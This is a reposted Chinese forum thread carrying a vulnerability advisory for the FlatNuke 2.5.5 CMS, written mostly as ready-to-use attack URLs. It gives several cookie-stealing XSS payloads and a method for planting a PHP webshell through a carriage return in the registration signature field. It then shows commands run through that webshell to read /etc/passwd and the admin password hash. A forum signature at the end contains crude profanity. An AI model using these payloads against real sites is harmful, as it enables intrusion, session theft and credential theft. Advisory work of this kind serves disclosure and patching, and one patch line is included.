发新话题
打印

[转载]FlatNuke 2.5.5远程命令执行漏洞及测试方法

[转载]FlatNuke 2.5.5远程命令执行漏洞及测试方法

文章作者:rgod

software:
author site: http://flatnuke.sourceforge.net/

path disclosure:
http://[target]/[path]/themes/butterfly/structure.php

supllying a null byte to mod parameter
http://[target]/[path]/index.php?mod=/%00/Vecchi_sondaggi

supplying reserved device names to mod parameter
http://[target]/[path]/index.php?mod=prn
http://[target]/[path]/index.php?mod=nul
http://[target]/[path]/index.php?mod=aux
etc.

(1) cross site scripting:
http://[target]/[path]/themes/butterfly/structure.php?bodycolor="><script>alert(document.cookie)</script>
http://[target]/[path]/themes/butterfly/structure.php?backimage="><script>alert(document.cookie)</script>
http://[target]/[path]/themes/butterfly/structure.php?backimage=whatever&theme="><script>alert(document.cookie)</script>
http://[target]/[path]/themes/butterfly/structure.php?backimage=whatever&bodycolor="><script>alert(document.cookie)</script>
http://[target]/[path]/themes/butterfly/structure.php?logo="><script>alert(document.cookie)</script>

(2) if register_globals in php.ini are off (often), cross site scripting:

http://[target]/[path]/forum/footer.php?admin="><script>alert(document.cookie)</script>
http://[target]/[path]/forum/footer.php?admin_mail="><script>alert(document.cookie)</script>
http://[target]/[path]/forum/footer.php?back="><script>alert(document.cookie)</script>
http://[target]/[path]/footer.php?admin="><script>alert(document.cookie)</script>
http://[target]/[path]/footer.php?admin_mail="><script>alert(document.cookie)</script>

patch for (2):
replace at line 15: if (eregi("footer.php",$PHP_SELF))
with: if (eregi("footer.php",$SERVER[&#39;PHP_SELF&#39;]))

(3) cross site scripting: a user can send news to the admin to evaluate, and in the message body
insert evil javascript code, so when admin opens news sent, javascript will run. Try this in message body:

<script>alert(document.cookie)</script>

remote commands execution:

when a user registers, flatnuke creates a username.php file in /forum/users directory, like this:

<?
#b0d7282f4b6f1e09f69c42f148055b5a
#jimihendrix
#jimihendrix@email.com

#artist
#whereimfrom
#images/clanbomber.png
#signature
#0
?>

if you call the file, nothing is executed, lines are commented with # char

but when you register you can insert ASCII char(13) in records, so if you put it in signature, you have

<?
#b0d7282f4b6f1e09f69c42f148055b5a
#jimihendrix
#jimihendrix@email.com

#artist
#whereimfrom
#images/clanbomber.png
#
signature
#0
?>

now if &#39;signature&#39; is a php instruction like this:

system($HTTP_GET_VARS[command]);

you have a backdoor on target system and launch commands, example:

http://[target]/[path_to_flatnuke]/forum/users/[username].php?command=ls%20-la

to list directories...

http://[target]/[path_to_flatnuke]/forum/users/[username].php?command=cat%20/etc/passwd

to see /etc/passwd file

http://[target]/[path_to_flatnuke]/forum/users/[username].php?command=cat%20admin.php

to see md5 hash admin password...

this is my php proof of concept exploit code with proxy support:
http://www.eviloctal.com/forum/read.php?tid=13292
曾几何时,有人对我说:装B遭雷劈。我说:去你妈的。于是,这个人又对我说:如果再说脏话,上帝会惩罚你的。我说:我操上帝。结论:彪悍的人生不需要上帝。

TOP

发新话题